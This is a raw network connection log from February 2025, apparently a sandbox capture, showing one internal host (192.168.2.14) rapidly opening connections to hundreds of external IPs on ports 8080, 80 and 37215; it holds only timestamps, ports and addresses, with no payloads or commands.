Feb 27, 2025 07:08:36.582227945 CET	25538	8080	192.168.2.14	31.76.12.101
Feb 27, 2025 07:08:36.582236052 CET	25538	8080	192.168.2.14	62.66.22.78
Feb 27, 2025 07:08:36.582245111 CET	25538	8080	192.168.2.14	95.9.198.96
Feb 27, 2025 07:08:36.582247972 CET	25538	8080	192.168.2.14	95.210.169.102
Feb 27, 2025 07:08:36.582254887 CET	25538	8080	192.168.2.14	62.39.6.41
Feb 27, 2025 07:08:36.582266092 CET	25538	8080	192.168.2.14	31.133.217.149
Feb 27, 2025 07:08:36.582268000 CET	25538	8080	192.168.2.14	31.202.140.205
Feb 27, 2025 07:08:36.582276106 CET	25538	8080	192.168.2.14	85.138.181.16
Feb 27, 2025 07:08:36.582276106 CET	25538	8080	192.168.2.14	85.238.9.10
Feb 27, 2025 07:08:36.582294941 CET	25538	8080	192.168.2.14	94.231.150.5
Feb 27, 2025 07:08:36.582297087 CET	25538	8080	192.168.2.14	94.115.117.175
Feb 27, 2025 07:08:36.582308054 CET	25538	8080	192.168.2.14	31.60.30.243
Feb 27, 2025 07:08:36.582314968 CET	25538	8080	192.168.2.14	31.234.86.75
Feb 27, 2025 07:08:36.582325935 CET	25538	8080	192.168.2.14	62.189.20.45
Feb 27, 2025 07:08:36.582336903 CET	25538	8080	192.168.2.14	31.121.92.144
Feb 27, 2025 07:08:36.582340002 CET	25538	8080	192.168.2.14	62.79.73.99
Feb 27, 2025 07:08:36.582340002 CET	25538	8080	192.168.2.14	94.228.143.119
Feb 27, 2025 07:08:36.582340956 CET	25538	8080	192.168.2.14	85.107.61.68
Feb 27, 2025 07:08:36.582365036 CET	25538	8080	192.168.2.14	95.96.126.154
Feb 27, 2025 07:08:36.582365990 CET	25538	8080	192.168.2.14	31.102.236.143
Feb 27, 2025 07:08:36.582392931 CET	25538	8080	192.168.2.14	31.167.7.43
Feb 27, 2025 07:08:36.582392931 CET	25538	8080	192.168.2.14	31.179.124.97
Feb 27, 2025 07:08:36.582396984 CET	25538	8080	192.168.2.14	95.66.90.134
Feb 27, 2025 07:08:36.582400084 CET	25538	8080	192.168.2.14	85.183.167.190
Feb 27, 2025 07:08:36.582401037 CET	25538	8080	192.168.2.14	95.210.103.86
Feb 27, 2025 07:08:36.582401037 CET	25538	8080	192.168.2.14	31.107.142.166
Feb 27, 2025 07:08:36.582402945 CET	25538	8080	192.168.2.14	94.136.219.253
Feb 27, 2025 07:08:36.582405090 CET	25538	8080	192.168.2.14	31.79.73.28
Feb 27, 2025 07:08:36.582415104 CET	25538	8080	192.168.2.14	85.97.16.30
Feb 27, 2025 07:08:36.582428932 CET	25538	8080	192.168.2.14	62.230.131.104
Feb 27, 2025 07:08:36.582434893 CET	25538	8080	192.168.2.14	62.19.161.43
Feb 27, 2025 07:08:36.582434893 CET	25538	8080	192.168.2.14	95.46.127.250
Feb 27, 2025 07:08:36.582454920 CET	25538	8080	192.168.2.14	85.139.2.49
Feb 27, 2025 07:08:36.582456112 CET	25538	8080	192.168.2.14	95.205.244.208
Feb 27, 2025 07:08:36.582458019 CET	25538	8080	192.168.2.14	94.162.241.109
Feb 27, 2025 07:08:36.582470894 CET	25538	8080	192.168.2.14	95.53.167.90
Feb 27, 2025 07:08:36.582483053 CET	25538	8080	192.168.2.14	95.142.97.145
Feb 27, 2025 07:08:36.582484007 CET	25538	8080	192.168.2.14	31.164.152.36
Feb 27, 2025 07:08:36.582484007 CET	25538	8080	192.168.2.14	94.215.187.171
Feb 27, 2025 07:08:36.582496881 CET	25538	8080	192.168.2.14	85.44.174.155
Feb 27, 2025 07:08:36.582503080 CET	25538	8080	192.168.2.14	31.231.146.148
Feb 27, 2025 07:08:36.582515001 CET	25538	8080	192.168.2.14	85.213.253.146
Feb 27, 2025 07:08:36.582516909 CET	25538	8080	192.168.2.14	31.248.218.54
Feb 27, 2025 07:08:36.582530975 CET	25538	8080	192.168.2.14	94.5.88.114
Feb 27, 2025 07:08:36.582536936 CET	25538	8080	192.168.2.14	62.251.207.176
Feb 27, 2025 07:08:36.582552910 CET	25538	8080	192.168.2.14	94.55.41.56
Feb 27, 2025 07:08:36.582555056 CET	25538	8080	192.168.2.14	31.14.86.101
Feb 27, 2025 07:08:36.582573891 CET	25538	8080	192.168.2.14	85.221.10.230
Feb 27, 2025 07:08:36.582576036 CET	25538	8080	192.168.2.14	62.127.215.235
Feb 27, 2025 07:08:36.582585096 CET	25538	8080	192.168.2.14	31.176.181.141
Feb 27, 2025 07:08:36.582590103 CET	25538	8080	192.168.2.14	94.175.185.231
Feb 27, 2025 07:08:36.582598925 CET	25538	8080	192.168.2.14	95.70.65.92
Feb 27, 2025 07:08:36.582609892 CET	25538	8080	192.168.2.14	31.18.51.236
Feb 27, 2025 07:08:36.582623005 CET	25538	8080	192.168.2.14	95.91.15.130
Feb 27, 2025 07:08:36.582636118 CET	25538	8080	192.168.2.14	95.149.0.141
Feb 27, 2025 07:08:36.582636118 CET	25538	8080	192.168.2.14	94.129.46.79
Feb 27, 2025 07:08:36.582636118 CET	25538	8080	192.168.2.14	94.126.216.46
Feb 27, 2025 07:08:36.582640886 CET	25538	8080	192.168.2.14	31.18.32.98
Feb 27, 2025 07:08:36.582640886 CET	25538	8080	192.168.2.14	94.36.255.248
Feb 27, 2025 07:08:36.582659960 CET	25538	8080	192.168.2.14	62.228.145.28
Feb 27, 2025 07:08:36.582662106 CET	25538	8080	192.168.2.14	94.0.117.216
Feb 27, 2025 07:08:36.582680941 CET	25538	8080	192.168.2.14	62.234.254.8
Feb 27, 2025 07:08:36.582680941 CET	25538	8080	192.168.2.14	62.69.22.247
Feb 27, 2025 07:08:36.582693100 CET	25538	8080	192.168.2.14	94.197.65.81
Feb 27, 2025 07:08:36.582693100 CET	25538	8080	192.168.2.14	95.143.48.28
Feb 27, 2025 07:08:36.582715988 CET	25538	8080	192.168.2.14	95.189.123.225
Feb 27, 2025 07:08:36.582719088 CET	25538	8080	192.168.2.14	95.130.189.63
Feb 27, 2025 07:08:36.582719088 CET	25538	8080	192.168.2.14	62.60.118.22
Feb 27, 2025 07:08:36.582719088 CET	25538	8080	192.168.2.14	31.118.145.78
Feb 27, 2025 07:08:36.582721949 CET	25538	8080	192.168.2.14	85.73.221.99
Feb 27, 2025 07:08:36.582736015 CET	25538	8080	192.168.2.14	95.176.100.58
Feb 27, 2025 07:08:36.582742929 CET	25538	8080	192.168.2.14	62.43.182.50
Feb 27, 2025 07:08:36.582756996 CET	25538	8080	192.168.2.14	31.138.186.9
Feb 27, 2025 07:08:36.582772970 CET	25538	8080	192.168.2.14	94.132.198.89
Feb 27, 2025 07:08:36.582777023 CET	25538	8080	192.168.2.14	62.112.72.125
Feb 27, 2025 07:08:36.582792044 CET	25538	8080	192.168.2.14	94.127.208.108
Feb 27, 2025 07:08:36.582801104 CET	25538	8080	192.168.2.14	94.142.196.73
Feb 27, 2025 07:08:36.582811117 CET	25538	8080	192.168.2.14	94.130.117.85
Feb 27, 2025 07:08:36.582811117 CET	25538	8080	192.168.2.14	95.42.203.241
Feb 27, 2025 07:08:36.582819939 CET	25538	8080	192.168.2.14	31.167.46.56
Feb 27, 2025 07:08:36.582822084 CET	25538	8080	192.168.2.14	95.167.252.225
Feb 27, 2025 07:08:36.582837105 CET	25538	8080	192.168.2.14	95.143.3.227
Feb 27, 2025 07:08:36.582843065 CET	25538	8080	192.168.2.14	31.78.133.194
Feb 27, 2025 07:08:36.582849979 CET	25538	8080	192.168.2.14	94.230.109.75
Feb 27, 2025 07:08:36.583053112 CET	58580	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:36.583105087 CET	58580	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:36.583420038 CET	58844	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:36.584768057 CET	80	40158	95.83.246.242	192.168.2.14
Feb 27, 2025 07:08:36.588068962 CET	8080	58580	62.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.594314098 CET	80	60836	95.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.594326019 CET	80	50780	95.215.18.102	192.168.2.14
Feb 27, 2025 07:08:36.598364115 CET	80	41998	95.45.52.12	192.168.2.14
Feb 27, 2025 07:08:36.598376989 CET	80	48178	95.73.228.68	192.168.2.14
Feb 27, 2025 07:08:36.598390102 CET	80	42464	95.141.78.110	192.168.2.14
Feb 27, 2025 07:08:36.598402023 CET	80	47362	95.131.34.169	192.168.2.14
Feb 27, 2025 07:08:36.602783918 CET	48406	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:36.602785110 CET	43166	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:36.602783918 CET	57792	8080	192.168.2.14	94.120.136.233
Feb 27, 2025 07:08:36.602788925 CET	46124	80	192.168.2.14	95.151.116.189
Feb 27, 2025 07:08:36.602790117 CET	54498	8080	192.168.2.14	94.231.122.101
Feb 27, 2025 07:08:36.602792978 CET	46880	8080	192.168.2.14	31.236.62.169
Feb 27, 2025 07:08:36.602791071 CET	60750	80	192.168.2.14	95.86.78.189
Feb 27, 2025 07:08:36.602797031 CET	48942	8080	192.168.2.14	95.161.206.51
Feb 27, 2025 07:08:36.602911949 CET	42332	80	192.168.2.14	95.119.124.70
Feb 27, 2025 07:08:36.607820988 CET	80	43166	95.131.111.23	192.168.2.14
Feb 27, 2025 07:08:36.607873917 CET	37215	48406	197.62.224.146	192.168.2.14
Feb 27, 2025 07:08:36.607906103 CET	43166	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:36.607923031 CET	48406	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:36.607945919 CET	43166	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:36.607945919 CET	43166	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:36.608042955 CET	28354	37215	192.168.2.14	157.93.91.155
Feb 27, 2025 07:08:36.608062029 CET	28354	37215	192.168.2.14	157.30.20.190
Feb 27, 2025 07:08:36.608081102 CET	28354	37215	192.168.2.14	157.42.53.50
Feb 27, 2025 07:08:36.608114958 CET	28354	37215	192.168.2.14	157.129.89.138
Feb 27, 2025 07:08:36.608144999 CET	28354	37215	192.168.2.14	157.100.249.255
Feb 27, 2025 07:08:36.608153105 CET	28354	37215	192.168.2.14	157.59.157.155
Feb 27, 2025 07:08:36.608171940 CET	28354	37215	192.168.2.14	157.128.210.198
Feb 27, 2025 07:08:36.608186960 CET	28354	37215	192.168.2.14	157.19.95.97
Feb 27, 2025 07:08:36.608201027 CET	28354	37215	192.168.2.14	157.81.114.52
Feb 27, 2025 07:08:36.608242989 CET	28354	37215	192.168.2.14	157.86.238.233
Feb 27, 2025 07:08:36.608251095 CET	28354	37215	192.168.2.14	157.149.204.184
Feb 27, 2025 07:08:36.608273983 CET	28354	37215	192.168.2.14	157.150.77.91
Feb 27, 2025 07:08:36.608284950 CET	28354	37215	192.168.2.14	157.56.3.143
Feb 27, 2025 07:08:36.608305931 CET	43406	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:36.608335972 CET	28354	37215	192.168.2.14	157.230.46.33
Feb 27, 2025 07:08:36.608349085 CET	28354	37215	192.168.2.14	157.139.47.64
Feb 27, 2025 07:08:36.608377934 CET	28354	37215	192.168.2.14	157.135.229.170
Feb 27, 2025 07:08:36.608422041 CET	28354	37215	192.168.2.14	157.130.131.226
Feb 27, 2025 07:08:36.608439922 CET	28354	37215	192.168.2.14	157.134.87.179
Feb 27, 2025 07:08:36.608465910 CET	28354	37215	192.168.2.14	157.52.17.34
Feb 27, 2025 07:08:36.608480930 CET	28354	37215	192.168.2.14	157.191.155.119
Feb 27, 2025 07:08:36.608515024 CET	28354	37215	192.168.2.14	157.37.97.147
Feb 27, 2025 07:08:36.608519077 CET	28354	37215	192.168.2.14	157.57.199.38
Feb 27, 2025 07:08:36.608530998 CET	28354	37215	192.168.2.14	157.69.163.77
Feb 27, 2025 07:08:36.608550072 CET	28354	37215	192.168.2.14	157.203.231.165
Feb 27, 2025 07:08:36.608578920 CET	28354	37215	192.168.2.14	157.174.131.128
Feb 27, 2025 07:08:36.608598948 CET	28354	37215	192.168.2.14	157.131.198.49
Feb 27, 2025 07:08:36.608617067 CET	28354	37215	192.168.2.14	157.125.142.166
Feb 27, 2025 07:08:36.608645916 CET	28354	37215	192.168.2.14	157.199.201.216
Feb 27, 2025 07:08:36.608690023 CET	28354	37215	192.168.2.14	157.238.10.50
Feb 27, 2025 07:08:36.608705044 CET	28354	37215	192.168.2.14	157.15.34.106
Feb 27, 2025 07:08:36.608726025 CET	28354	37215	192.168.2.14	157.153.75.103
Feb 27, 2025 07:08:36.608746052 CET	28354	37215	192.168.2.14	157.202.201.253
Feb 27, 2025 07:08:36.608757973 CET	28354	37215	192.168.2.14	157.189.117.182
Feb 27, 2025 07:08:36.608774900 CET	28354	37215	192.168.2.14	157.174.34.216
Feb 27, 2025 07:08:36.608798981 CET	28354	37215	192.168.2.14	157.76.107.1
Feb 27, 2025 07:08:36.608810902 CET	28354	37215	192.168.2.14	157.127.161.122
Feb 27, 2025 07:08:36.608824968 CET	28354	37215	192.168.2.14	157.162.56.170
Feb 27, 2025 07:08:36.608849049 CET	28354	37215	192.168.2.14	157.10.12.19
Feb 27, 2025 07:08:36.608861923 CET	28354	37215	192.168.2.14	157.45.16.163
Feb 27, 2025 07:08:36.608875036 CET	28354	37215	192.168.2.14	157.182.149.35
Feb 27, 2025 07:08:36.608896017 CET	28354	37215	192.168.2.14	157.221.53.51
Feb 27, 2025 07:08:36.608911991 CET	28354	37215	192.168.2.14	157.164.51.40
Feb 27, 2025 07:08:36.608927011 CET	28354	37215	192.168.2.14	157.49.161.245
Feb 27, 2025 07:08:36.608942986 CET	28354	37215	192.168.2.14	157.6.99.35
Feb 27, 2025 07:08:36.608961105 CET	28354	37215	192.168.2.14	157.12.208.147
Feb 27, 2025 07:08:36.608977079 CET	28354	37215	192.168.2.14	157.205.157.13
Feb 27, 2025 07:08:36.608999968 CET	28354	37215	192.168.2.14	157.112.42.234
Feb 27, 2025 07:08:36.609013081 CET	28354	37215	192.168.2.14	157.18.118.241
Feb 27, 2025 07:08:36.609042883 CET	28354	37215	192.168.2.14	157.23.191.78
Feb 27, 2025 07:08:36.609059095 CET	28354	37215	192.168.2.14	157.40.236.1
Feb 27, 2025 07:08:36.609071970 CET	28354	37215	192.168.2.14	157.147.219.72
Feb 27, 2025 07:08:36.609105110 CET	28354	37215	192.168.2.14	157.197.116.5
Feb 27, 2025 07:08:36.609116077 CET	28354	37215	192.168.2.14	157.81.53.79
Feb 27, 2025 07:08:36.609138966 CET	28354	37215	192.168.2.14	157.212.98.101
Feb 27, 2025 07:08:36.609142065 CET	28354	37215	192.168.2.14	157.218.123.39
Feb 27, 2025 07:08:36.609158039 CET	28354	37215	192.168.2.14	157.88.200.54
Feb 27, 2025 07:08:36.609169960 CET	28354	37215	192.168.2.14	157.185.80.9
Feb 27, 2025 07:08:36.609189034 CET	28354	37215	192.168.2.14	157.150.169.124
Feb 27, 2025 07:08:36.609200954 CET	28354	37215	192.168.2.14	157.143.47.180
Feb 27, 2025 07:08:36.609216928 CET	28354	37215	192.168.2.14	157.43.143.37
Feb 27, 2025 07:08:36.609226942 CET	28354	37215	192.168.2.14	157.213.67.29
Feb 27, 2025 07:08:36.609246969 CET	28354	37215	192.168.2.14	157.20.191.121
Feb 27, 2025 07:08:36.609263897 CET	28354	37215	192.168.2.14	157.220.135.109
Feb 27, 2025 07:08:36.609287024 CET	28354	37215	192.168.2.14	157.110.12.108
Feb 27, 2025 07:08:36.609303951 CET	28354	37215	192.168.2.14	157.188.188.104
Feb 27, 2025 07:08:36.609344959 CET	28354	37215	192.168.2.14	157.248.144.69
Feb 27, 2025 07:08:36.609369040 CET	28354	37215	192.168.2.14	157.31.199.169
Feb 27, 2025 07:08:36.609384060 CET	28354	37215	192.168.2.14	157.48.91.130
Feb 27, 2025 07:08:36.609401941 CET	28354	37215	192.168.2.14	157.177.121.91
Feb 27, 2025 07:08:36.609420061 CET	28354	37215	192.168.2.14	157.229.172.53
Feb 27, 2025 07:08:36.609431982 CET	28354	37215	192.168.2.14	157.192.3.49
Feb 27, 2025 07:08:36.609450102 CET	28354	37215	192.168.2.14	157.42.40.127
Feb 27, 2025 07:08:36.609462976 CET	28354	37215	192.168.2.14	157.113.193.225
Feb 27, 2025 07:08:36.609477043 CET	28354	37215	192.168.2.14	157.37.212.15
Feb 27, 2025 07:08:36.609493017 CET	28354	37215	192.168.2.14	157.209.225.104
Feb 27, 2025 07:08:36.609508991 CET	28354	37215	192.168.2.14	157.164.203.119
Feb 27, 2025 07:08:36.609532118 CET	28354	37215	192.168.2.14	157.104.37.152
Feb 27, 2025 07:08:36.609544992 CET	28354	37215	192.168.2.14	157.186.45.235
Feb 27, 2025 07:08:36.609555006 CET	28354	37215	192.168.2.14	157.147.101.42
Feb 27, 2025 07:08:36.609570980 CET	28354	37215	192.168.2.14	157.2.8.26
Feb 27, 2025 07:08:36.609594107 CET	28354	37215	192.168.2.14	157.147.111.59
Feb 27, 2025 07:08:36.609612942 CET	28354	37215	192.168.2.14	157.253.123.242
Feb 27, 2025 07:08:36.609635115 CET	28354	37215	192.168.2.14	157.235.205.247
Feb 27, 2025 07:08:36.609656096 CET	28354	37215	192.168.2.14	157.224.63.22
Feb 27, 2025 07:08:36.609679937 CET	28354	37215	192.168.2.14	157.129.223.215
Feb 27, 2025 07:08:36.609692097 CET	28354	37215	192.168.2.14	157.97.232.211
Feb 27, 2025 07:08:36.609702110 CET	28354	37215	192.168.2.14	157.65.91.238
Feb 27, 2025 07:08:36.609719038 CET	28354	37215	192.168.2.14	157.173.87.183
Feb 27, 2025 07:08:36.609740973 CET	28354	37215	192.168.2.14	157.96.42.69
Feb 27, 2025 07:08:36.609755039 CET	28354	37215	192.168.2.14	157.130.53.143
Feb 27, 2025 07:08:36.609774113 CET	28354	37215	192.168.2.14	157.174.101.76
Feb 27, 2025 07:08:36.609780073 CET	28354	37215	192.168.2.14	157.155.154.248
Feb 27, 2025 07:08:36.609802008 CET	28354	37215	192.168.2.14	157.139.27.34
Feb 27, 2025 07:08:36.609811068 CET	28354	37215	192.168.2.14	157.65.44.44
Feb 27, 2025 07:08:36.609827042 CET	28354	37215	192.168.2.14	157.12.130.227
Feb 27, 2025 07:08:36.609850883 CET	28354	37215	192.168.2.14	157.237.58.185
Feb 27, 2025 07:08:36.609872103 CET	28354	37215	192.168.2.14	157.82.222.215
Feb 27, 2025 07:08:36.609882116 CET	28354	37215	192.168.2.14	157.203.113.49
Feb 27, 2025 07:08:36.609910011 CET	28354	37215	192.168.2.14	157.6.98.78
Feb 27, 2025 07:08:36.609916925 CET	28354	37215	192.168.2.14	157.71.73.235
Feb 27, 2025 07:08:36.609932899 CET	28354	37215	192.168.2.14	157.28.254.204
Feb 27, 2025 07:08:36.609947920 CET	28354	37215	192.168.2.14	157.23.103.54
Feb 27, 2025 07:08:36.609966040 CET	28354	37215	192.168.2.14	157.169.37.12
Feb 27, 2025 07:08:36.609978914 CET	28354	37215	192.168.2.14	157.232.48.49
Feb 27, 2025 07:08:36.609993935 CET	28354	37215	192.168.2.14	157.23.158.5
Feb 27, 2025 07:08:36.610008955 CET	28354	37215	192.168.2.14	157.9.112.164
Feb 27, 2025 07:08:36.610024929 CET	28354	37215	192.168.2.14	157.11.122.226
Feb 27, 2025 07:08:36.610039949 CET	28354	37215	192.168.2.14	157.125.171.123
Feb 27, 2025 07:08:36.610080957 CET	28354	37215	192.168.2.14	157.177.241.34
Feb 27, 2025 07:08:36.610097885 CET	28354	37215	192.168.2.14	157.87.62.169
Feb 27, 2025 07:08:36.610110044 CET	28354	37215	192.168.2.14	157.230.142.197
Feb 27, 2025 07:08:36.610126972 CET	28354	37215	192.168.2.14	157.148.238.40
Feb 27, 2025 07:08:36.610145092 CET	28354	37215	192.168.2.14	157.95.78.3
Feb 27, 2025 07:08:36.610166073 CET	28354	37215	192.168.2.14	157.143.118.22
Feb 27, 2025 07:08:36.610179901 CET	28354	37215	192.168.2.14	157.208.74.221
Feb 27, 2025 07:08:36.610198975 CET	28354	37215	192.168.2.14	157.50.161.40
Feb 27, 2025 07:08:36.610208988 CET	28354	37215	192.168.2.14	157.96.157.111
Feb 27, 2025 07:08:36.610228062 CET	28354	37215	192.168.2.14	157.129.49.158
Feb 27, 2025 07:08:36.610244036 CET	28354	37215	192.168.2.14	157.187.193.10
Feb 27, 2025 07:08:36.610270977 CET	28354	37215	192.168.2.14	157.149.214.129
Feb 27, 2025 07:08:36.610284090 CET	28354	37215	192.168.2.14	157.245.33.235
Feb 27, 2025 07:08:36.610306978 CET	28354	37215	192.168.2.14	157.112.238.159
Feb 27, 2025 07:08:36.610323906 CET	28354	37215	192.168.2.14	157.26.181.33
Feb 27, 2025 07:08:36.610341072 CET	28354	37215	192.168.2.14	157.247.27.205
Feb 27, 2025 07:08:36.610369921 CET	28354	37215	192.168.2.14	157.140.112.224
Feb 27, 2025 07:08:36.610383987 CET	28354	37215	192.168.2.14	157.253.114.15
Feb 27, 2025 07:08:36.610414982 CET	28354	37215	192.168.2.14	157.33.247.205
Feb 27, 2025 07:08:36.610430002 CET	28354	37215	192.168.2.14	157.180.29.235
Feb 27, 2025 07:08:36.610445976 CET	28354	37215	192.168.2.14	157.148.254.66
Feb 27, 2025 07:08:36.610461950 CET	28354	37215	192.168.2.14	157.114.10.160
Feb 27, 2025 07:08:36.610483885 CET	28354	37215	192.168.2.14	157.158.73.143
Feb 27, 2025 07:08:36.610497952 CET	28354	37215	192.168.2.14	157.209.111.95
Feb 27, 2025 07:08:36.610511065 CET	28354	37215	192.168.2.14	157.223.49.104
Feb 27, 2025 07:08:36.610523939 CET	28354	37215	192.168.2.14	157.107.86.34
Feb 27, 2025 07:08:36.610538006 CET	28354	37215	192.168.2.14	157.8.169.42
Feb 27, 2025 07:08:36.610558987 CET	28354	37215	192.168.2.14	157.78.10.49
Feb 27, 2025 07:08:36.610558987 CET	28354	37215	192.168.2.14	157.100.193.184
Feb 27, 2025 07:08:36.610582113 CET	28354	37215	192.168.2.14	157.226.127.248
Feb 27, 2025 07:08:36.610599995 CET	28354	37215	192.168.2.14	157.81.219.204
Feb 27, 2025 07:08:36.610611916 CET	28354	37215	192.168.2.14	157.77.145.120
Feb 27, 2025 07:08:36.610626936 CET	28354	37215	192.168.2.14	157.74.240.122
Feb 27, 2025 07:08:36.610642910 CET	28354	37215	192.168.2.14	157.75.11.60
Feb 27, 2025 07:08:36.610670090 CET	28354	37215	192.168.2.14	157.43.177.207
Feb 27, 2025 07:08:36.610685110 CET	28354	37215	192.168.2.14	157.115.1.241
Feb 27, 2025 07:08:36.610701084 CET	28354	37215	192.168.2.14	157.111.4.231
Feb 27, 2025 07:08:36.610722065 CET	28354	37215	192.168.2.14	157.37.230.101
Feb 27, 2025 07:08:36.610734940 CET	28354	37215	192.168.2.14	157.156.115.41
Feb 27, 2025 07:08:36.610754013 CET	28354	37215	192.168.2.14	157.189.107.34
Feb 27, 2025 07:08:36.610775948 CET	28354	37215	192.168.2.14	157.218.17.211
Feb 27, 2025 07:08:36.610810041 CET	28354	37215	192.168.2.14	157.155.94.247
Feb 27, 2025 07:08:36.610826015 CET	28354	37215	192.168.2.14	157.76.233.66
Feb 27, 2025 07:08:36.610847950 CET	28354	37215	192.168.2.14	157.187.252.233
Feb 27, 2025 07:08:36.610857964 CET	28354	37215	192.168.2.14	157.92.19.39
Feb 27, 2025 07:08:36.610894918 CET	28354	37215	192.168.2.14	157.127.50.153
Feb 27, 2025 07:08:36.610894918 CET	28354	37215	192.168.2.14	157.104.222.131
Feb 27, 2025 07:08:36.610909939 CET	28354	37215	192.168.2.14	157.73.19.110
Feb 27, 2025 07:08:36.610943079 CET	28354	37215	192.168.2.14	157.207.157.203
Feb 27, 2025 07:08:36.610955954 CET	28354	37215	192.168.2.14	157.159.2.209
Feb 27, 2025 07:08:36.610971928 CET	28354	37215	192.168.2.14	157.206.140.118
Feb 27, 2025 07:08:36.610987902 CET	28354	37215	192.168.2.14	157.80.239.136
Feb 27, 2025 07:08:36.611098051 CET	48406	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:36.611109018 CET	48406	37215	192.168.2.14	197.62.224.146
Feb 27, 2025 07:08:36.613017082 CET	80	43166	95.131.111.23	192.168.2.14
Feb 27, 2025 07:08:36.613042116 CET	37215	28354	157.93.91.155	192.168.2.14
Feb 27, 2025 07:08:36.613092899 CET	28354	37215	192.168.2.14	157.93.91.155
Feb 27, 2025 07:08:36.616110086 CET	37215	48406	197.62.224.146	192.168.2.14
Feb 27, 2025 07:08:36.626343966 CET	80	40158	95.83.246.242	192.168.2.14
Feb 27, 2025 07:08:36.630346060 CET	8080	58580	62.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.634783983 CET	47536	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:36.634788990 CET	41964	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.634788990 CET	54610	80	192.168.2.14	95.151.79.142
Feb 27, 2025 07:08:36.634789944 CET	45574	80	192.168.2.14	95.133.115.128
Feb 27, 2025 07:08:36.634789944 CET	41028	80	192.168.2.14	95.231.222.58
Feb 27, 2025 07:08:36.634798050 CET	39106	80	192.168.2.14	95.196.34.185
Feb 27, 2025 07:08:36.634798050 CET	36294	80	192.168.2.14	95.213.96.155
Feb 27, 2025 07:08:36.634798050 CET	52150	80	192.168.2.14	95.118.253.13
Feb 27, 2025 07:08:36.634800911 CET	40560	80	192.168.2.14	95.161.183.217
Feb 27, 2025 07:08:36.634810925 CET	60392	80	192.168.2.14	95.46.218.105
Feb 27, 2025 07:08:36.634813070 CET	55010	80	192.168.2.14	95.179.101.27
Feb 27, 2025 07:08:36.634820938 CET	39712	80	192.168.2.14	95.166.10.145
Feb 27, 2025 07:08:36.634824038 CET	37474	80	192.168.2.14	95.6.87.220
Feb 27, 2025 07:08:36.634826899 CET	47024	80	192.168.2.14	95.12.183.45
Feb 27, 2025 07:08:36.634826899 CET	41524	80	192.168.2.14	95.204.123.18
Feb 27, 2025 07:08:36.634829044 CET	46522	8080	192.168.2.14	62.20.217.135
Feb 27, 2025 07:08:36.639899969 CET	80	47536	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:36.639915943 CET	80	41964	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:36.639951944 CET	47536	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:36.639964104 CET	41964	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.640136003 CET	41964	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.640136957 CET	41964	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.640449047 CET	42174	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.640850067 CET	47536	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:36.640850067 CET	47536	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:36.641140938 CET	47744	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:36.645198107 CET	80	41964	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:36.645492077 CET	80	42174	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:36.645535946 CET	42174	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.645546913 CET	42174	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.645813942 CET	80	47536	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:36.650831938 CET	80	42174	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:36.650872946 CET	42174	80	192.168.2.14	95.208.254.4
Feb 27, 2025 07:08:36.658340931 CET	80	43166	95.131.111.23	192.168.2.14
Feb 27, 2025 07:08:36.658354044 CET	37215	48406	197.62.224.146	192.168.2.14
Feb 27, 2025 07:08:36.666874886 CET	42936	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:36.666874886 CET	54216	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.666877031 CET	57452	80	192.168.2.14	95.165.150.77
Feb 27, 2025 07:08:36.666881084 CET	56270	80	192.168.2.14	95.118.198.213
Feb 27, 2025 07:08:36.666881084 CET	57554	80	192.168.2.14	95.40.254.35
Feb 27, 2025 07:08:36.666881084 CET	33496	80	192.168.2.14	95.47.48.254
Feb 27, 2025 07:08:36.666881084 CET	35634	80	192.168.2.14	95.125.197.36
Feb 27, 2025 07:08:36.666886091 CET	51408	80	192.168.2.14	95.179.63.135
Feb 27, 2025 07:08:36.666889906 CET	41254	80	192.168.2.14	95.231.163.61
Feb 27, 2025 07:08:36.666893959 CET	48520	80	192.168.2.14	95.25.42.165
Feb 27, 2025 07:08:36.666896105 CET	47334	80	192.168.2.14	95.175.84.69
Feb 27, 2025 07:08:36.666896105 CET	38842	80	192.168.2.14	95.195.45.67
Feb 27, 2025 07:08:36.666969061 CET	45414	80	192.168.2.14	95.129.55.172
Feb 27, 2025 07:08:36.666970015 CET	41264	80	192.168.2.14	95.37.78.32
Feb 27, 2025 07:08:36.667012930 CET	55094	80	192.168.2.14	95.214.249.209
Feb 27, 2025 07:08:36.671997070 CET	80	42936	95.67.124.14	192.168.2.14
Feb 27, 2025 07:08:36.672012091 CET	80	54216	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:36.672044039 CET	42936	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:36.672044039 CET	54216	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.672209978 CET	54216	80	192.168.2.14	95.142.150.98
